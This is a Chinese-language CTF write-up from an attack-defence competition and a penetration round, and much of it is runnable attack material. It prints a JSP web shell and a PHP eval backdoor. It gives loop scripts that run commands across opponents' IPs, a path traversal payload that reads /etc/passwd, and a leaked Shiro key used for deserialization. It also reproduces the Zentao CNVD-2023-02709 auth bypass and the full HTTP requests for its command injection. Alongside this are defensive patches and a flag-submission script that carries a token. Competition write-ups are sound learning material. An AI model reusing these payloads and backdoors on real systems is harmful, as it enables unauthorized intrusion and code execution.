半决赛第二赛区在贵州,awd第一,最后第七,可惜渗透没打好
AWD
30分钟一轮,一个flag 5分,check不过扣200,相当于被40个队打,太亏了,全场就80多个队,没必要修太多导致check不过
Java JSP
预留后门
D盾可以直接扫描出一个后门
一开始就发现了,前几波拿这个后门上了很多分,可能大家都去看php,忘修这个了吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@ page import="java.io.IOException" %><%-- Created by IntelliJ IDEA. User: 007 Date: 2018/11/28 Time: 10:12 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String cmdParameter = request.getParameter("cmd1"); if (cmdParameter != null && !cmdParameter.isEmpty()) { try { ProcessBuilder processBuilder = new ProcessBuilder(); processBuilder.command("sh", "-c", cmdParameter);
Process process = processBuilder.start(); InputStream inputStream = process.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream)); String line; StringBuilder output = new StringBuilder(); while ((line = reader.readLine()) != null) { output.append(line).append("\n"); }
out.println("Command executed successfully. Output:\n" + output.toString()); } catch (IOException e) { out.println("Error executing command: " + e.getMessage()); } } %> <html> <head> <title>找回密码</title> <link rel="stylesheet" href="resources/css/bootstrap.min.css"> <link href="resources/css/forget.css" type="text/css" rel="stylesheet"/> </head> <body> <h1 style="margin: 50px 80px; color: darkgray; font-family: cursive;">欢迎来到教务系统</h1> <div class="main"> <form role="form" action="sendCode.jsp" method="post"> <div class="form-group" align="center"> <input class="form-control" type="text" name="user" placeholder="输入用户名"><br> <input type="submit" class="btn btn-success" value="下一步"> <input type="button" class="btn btn-info" value="取消" style="margin-left: 20px" onclick="window.location.href='login.jsp'"> </div> </form> </div> <script src="resources/js/jquery-3.2.1.min.js"></script> <script src="resources/js/popper.min.js"></script> <script src="resources/js/bootstrap.min.js"></script> </body> </html>
|
payload:
批量攻击
1 2 3 4 5 6 7 8 9 10 11 12
| import requests import re
for i in range(101,200): url = f"http://172.19.{i}.52:8080/forget.jsp?cmd1=" try: req = requests.get(url+"curl http://10.10.1.50:9028/competition/flagManager/getFlag") print(f"172.19.{i}.52",end="-") print(req.text.split("\n")[6]) except: print("next")
|
修复的话cmd1
换复杂点的密码就行了,担心改太多check没过
文件上传
该服务的数据库文件data.sql,在创表的时候,默认添加了个教师权限的账户
教师端的个人信息上传头像处存在任意文件上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
|
package servlet;
import com.jspsmart.upload.File; import com.jspsmart.upload.Request; import com.jspsmart.upload.SmartUpload; import java.io.IOException; import java.io.PrintWriter; import javax.servlet.ServletConfig; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;
@WebServlet({"/upload_teacherImg"}) public class upload_teacherImg extends HttpServlet { public upload_teacherImg() { }
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doGet(request, response); }
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html;charset=utf-8"); response.setCharacterEncoding("utf-8"); request.setCharacterEncoding("utf-8"); PrintWriter out = response.getWriter(); SmartUpload smartUpload = new SmartUpload(); Request rq = smartUpload.getRequest(); ServletConfig config = this.getServletConfig(); smartUpload.initialize(config, request, response);
try { smartUpload.upload(); String id = rq.getParameter("id"); File smartFile = smartUpload.getFiles().getFile(0); smartFile.saveAs("/userImg/" + smartFile.getFileName().toString()); out.print("<script>alert(\"上传成功!\");window.location.href='teacher/personal.jsp';</script>"); } catch (Exception var9) { out.print(var9); }
} }
|
通过注册得到的学生权限账户上传文件则是500
删掉cookie也能打,未授权上传任意文件,转去intruder批量传马就行了
1 2 3 4 5 6 7 8 9 10 11 12
| import requests import re
for i in range(101,200): url = f"http://172.19.{i}.52:8080/userImg/2.jsp?pwd=023&i=" try: req = requests.get(url+"curl http://10.10.1.50:9028/competition/flagManager/getFlag") print(f"172.19.{i}.52",end="-") print(req.text.split("\n")[6]) except: print("next")
|
修复的话,加个黑名单waf就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| private static final String[] BLACKLIST_EXTENSIONS = {".jsp", ".jspx", ".jspf", ".jsw", "jspa", "jsv", "jtml"}; ... try { smartUpload.upload(); String id = rq.getParameter("id"); File smartFile = smartUpload.getFiles().getFile(0); if (!isExtensionAllowed(smartFile.getFileName())) { throw new IllegalArgumentException("Fuck you ~"); } smartFile.saveAs("/userImg/" + smartFile.getFileName().toString()); out.print("<script>alert(\"上传成功!\");window.location.href='teacher/personal.jsp';</script>"); } catch (Exception var9) { out.print(var9); } ... ... private static boolean isExtensionAllowed(String fileName) { for (String extension : BLACKLIST_EXTENSIONS) { if (fileName.toLowerCase().endsWith(extension)) { return false; } } return true; } ...
|
反编译class文件并重新编译:https://blog.csdn.net/weixin_39660224/article/details/106722129
jadx导出为java文件,再重新编译:
1
| javac -classpath D:\java\security\ccb\src\main\webapp\ROOT\WEB-INF\lib\* .\upload_teacherImg.java
|
可以选择加个参数避免乱码-encoding UTF-8
或者-encoding GBK
php cms
预留后门
d盾可以扫出一个后门/app/api/controller/v1/Token.php
1 2 3
| public function test(){ @eval(getallheaders()['Referer']); }
|
直接去调用这个test方法,传入Referer的值就行了
1 2
| /api/v1.token/test Referer:system("curl http://10.10.1.50:9028/competition/flagManager/getFlag");
|
批量攻击
1 2 3 4 5 6 7 8 9 10 11 12
| import requests
for i in range(101, 200): url = f"http://172.19.{i}.42/api/v1.token/test" try: headers = {'Referer': 'system("curl http://10.10.1.50:9028/competition/flagManager/getFlag");'} req = requests.post(url, headers=headers) print(f"172.19.{i}.42", end="-") print(req.text) except Exception as e: print("next")
|
修的话,注释掉那个命令执行就行了
1
| //@eval(getallheaders()['Referer']);
|
文件上传
比赛时利用sql文件建库的时候留了个上传类型的后门phtml(官方拉取下来的项目并没有phtml)
1
| composer create-project --prefer-dist funadmin/funadmin funadmin
|
复现时,在官方下的sql文件加上phtml,在搭建环境
先注册个号,再点击头像上传(后面发现是未授权的,不需要每一个ip的服务都注册账号),直接打未授权文件上传就行了
前端后缀名校验,bp改一下后缀名为phtml就行了
上传到了/storage/uploads/20240501/3f232941d17949b39942f598f43b42f7.phtml
路径下
这里使用bp批量上传木马,没有使用脚本,响应的木马文件名也是随机了,当时来不及写匹配脚本利用了,就自己手打了2轮多,时间也是够用
设置变化值为ip中间那个值,bp开跑就行了
修的话,
本地查看/config/database.php
,用数据库密码连接,删除其中的phtml,并不能修好
1
| UPDATE `fun_config` SET `value` = 'mp4,mp3,png,gif,jpg,jpeg,webp', `update_time` = UNIX_TIMESTAMP() WHERE `id` = 31
|
找到实现上传功能的文件/frontend/controller/Ajax.php
加个白名单waf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'webp', 'mp4', 'mp3'];
$file = $this->request->file('file');
if (!$file) { throw new Exception('No file uploaded.'); }
$extension = strtolower(pathinfo($file->getOriginalName(), PATHINFO_EXTENSION));
if (!in_array($extension, $allowedExtensions)) { throw new Exception('Fuck you ~'); }
|
不影响功能的正常使用
任意文件读取
还是在/frontend/controller/Ajax.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
|
public function getfile($file) { $file = root_path().'public/storage/uploads/'.$file; if (!file_exists($file)) { $result = ['code' => 0, 'msg' => lang('file not exists!')]; return json($result); }
$fileName = basename($file);
header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . $fileName); header('Content-Length: ' . filesize($file));
readfile($file);
exit; }
|
很直白的文件读取,没有任何过滤
payload
1
| /frontend/Ajax/getfile?file=../../../../../../etc/passwd
|
由于flag是通过curl http://10.10.1.50:9028/competition/flagManager/getFlag
获取的,使用这个任意文件读取并不能获取到flag
加个替换为空就行了
1 2
| $file = str_replace("../","",$file); $file = str_replace("flag","",$file);
|
预留后门
jadx反编译,翻到个预留后门
1
| /test/backd0or?cmd=cat /etc/passwd
|
批量利用
1 2 3 4 5 6 7 8 9 10 11 12
| import requests import re
for i in range(101,200): url = f"http://172.19.{i}.32:8080/test/backd0or?cmd=" try: req = requests.get(url+"curl http://10.10.1.50:9028/competition/flagManager/getFlag") print(f"172.19.{i}.32",end="-") print(req.text.split("\n")[6]) except: print("next")
|
修:点击文件->保存项目,导出为java文件
把后门路径改复杂点
解压jar包
1
| jar -xvf .\DocToolkit-0.0.1-SNAPSHOT.jar
|
重新编译修改的这个java文件就行了
1
| javac -classpath C:\Users\HONOR\Desktop\Doc\resources\BOOT-INF\lib\* .\TestController.java
|
再用bandzip打开原来jar包,把编译好的class文件托进去覆盖掉就行了
1
| java -jar DocToolkit-0.0.1-SNAPSHOT.jar
|
这样就修好咯
Shiro反序列化
可以翻到shiro key
1
| QZIysgMYhG7/CzIJlVpR1g==
|
拿工具看看能不能打通,起在虚拟机找不到利用链,本地就行
比赛的时候全场的shiro key应该是一样的,所以可以批量打
最后放个批量提交flag脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import requests url = "http://10.10.1.50:2301/competition/awdController/submitFlag" f = open("flags","r").readlines() header= { "Authorization": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MTM3NDUxODgsInVzZXJJZCI6ImQxNDgyMzkxYmRmMjgwZWQ3NGE3ZDFhZTRiN2VjYzZhIn0.Ckfzrd8uMWMwn5-79h6lnHJXoJC4quiUt2BwKqUx5wM" } for i in f: try: data = { "competitionId":"ce8aeddc22641cae2d707e5318f72b7c", "commitFlag":i.split("-")[1], "commitDockerIp":i.split("-")[0] } req = requests.post(url,data=data,headers=header) print(req.text) except: pass
|
ISW
MultiBC
1
| .\fscan64.exe -h 172.17.171.10 -p 1-65535
|
可以扫出来个thinkphp的nday
写马后,蚁剑连接,根目录下有个flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.18.171.10 netmask 255.255.255.0 broadcast 172.18.171.255 inet6 fe80::f841:d3ff:fe24:9200 prefixlen 64 scopeid 0x20<link> ether fa:41:d3:24:92:00 txqueuelen 1000 (Ethernet) RX packets 353420 bytes 30531156 (30.5 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 377907 bytes 33234724 (33.2 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 147290 bytes 11923923 (11.9 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 147290 bytes 11923923 (11.9 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
|
扫网段,有个ftp未授权,可以下下来个OA源码压缩包,再分别扫ip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.2 start infoscan (icmp) Target 172.18.171.30 is alive [*] Icmp alive hosts len is: 1 172.18.171.30:22 open 172.18.171.30:8080 open 172.18.171.30:59696 open [*] alive ports len is: 3 start vulscan [*] WebTitle: http://172.18.171.30:8080 code:302 len:0 title:None 跳转url: http://172.18.171.30:8080/login;jsessionid=69DC67E85C9C9A089677FF464E999412 [*] WebTitle: http://172.18.171.30:8080/login;jsessionid=69DC67E85C9C9A089677FF464E999412 code:200 len:3860 title:智联科技 ERP 后台登陆 [+] http://172.18.171.30:8080 poc-yaml-spring-actuator-heapdump-file [+] http://172.18.171.30:8080 poc-yaml-springboot-env-unauth spring2 已完成 2/3 [-] ssh 172.18.171.30:22 root root_123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
|
发现泄露路径在:8080/actuator/heapdump
JDumpSpider梭一下
1
| java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump > 1.txt
|
1 2 3 4
| CookieRememberMeManager(ShiroKey) ------------- algMode = GCM, key = AZYyIgMYhG6/CzIJlvpR2g==, algName = AES
|
找到key,拿工具直接利用拿shell,然后家目录下有个pwn题,没打通,没找到其他flag
shiro那台机子还有另一个网段,有另一台内网机子,当时时间已经不大够了
SingleBC2
扫描网站目录发现存在backup.zip文件,下载后发现流量文件,提取zip文件解压爆破密码后获取flag
后面比赛结束了才发现流量包导出的文件中还藏了个1000分的flag
SingleBC1
打禅道 项目管理系统远程命令执行漏洞 CNVD-2023-02709,比赛时没发现这个poc,亏大了,亏我本地还存了poc
权限绕过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import requests
header={ 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36', }
def bypasscookie(url,session): target=url+"/index.php?m=misc&f=captcha&sessionVar=user" r=session.get(target,headers=header) zentaosid=r.cookies.get_dict()['zentaosid'] print(zentaosid)
header["Cookie"]="zentaosid="+zentaosid resp=session.get(url+"/index.php?m=my&f=index",headers=header) if "/shandao/www/index.php?m=user&f=login" not in resp.text: print("绕过登陆验证") else: print("无法绕过验证")
if __name__ == '__main__': url="http://127.0.0.1:8081/shandao/www/" session=requests.Session() bypasscookie(url,session)
|
后台RCE:
先创建Gitlab代码库,拿到repoID
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| POST /shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss HTTP/1.1 Host: 127.0.0.1:8081 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 144 Origin: http://127.0.0.1:8081 Connection: close Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
product%5B%5D=1&SCM=Gitlab&serviceProject=wangnima&name=wangnima2333&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=63e4a18218a68
|
创建好后,去到
http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=maintain&tid=rmqcl0ss查看repoID并进入编辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| POST /shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss HTTP/1.1 Host: 127.0.0.1:8081 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 222 Origin: http://127.0.0.1:8081 Connection: close Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
product%5B%5D=1&SCM=Subversion&serviceHost=&name=wangnima2333&path=http%3A%2F%2F123.4.5.6&encoding=utf-8&client=%60open+%2FSystem%2FApplications%2FCalculator.app%60&account=&password=&encrypt=base64&desc=&uid=63e4a26b5fd65
|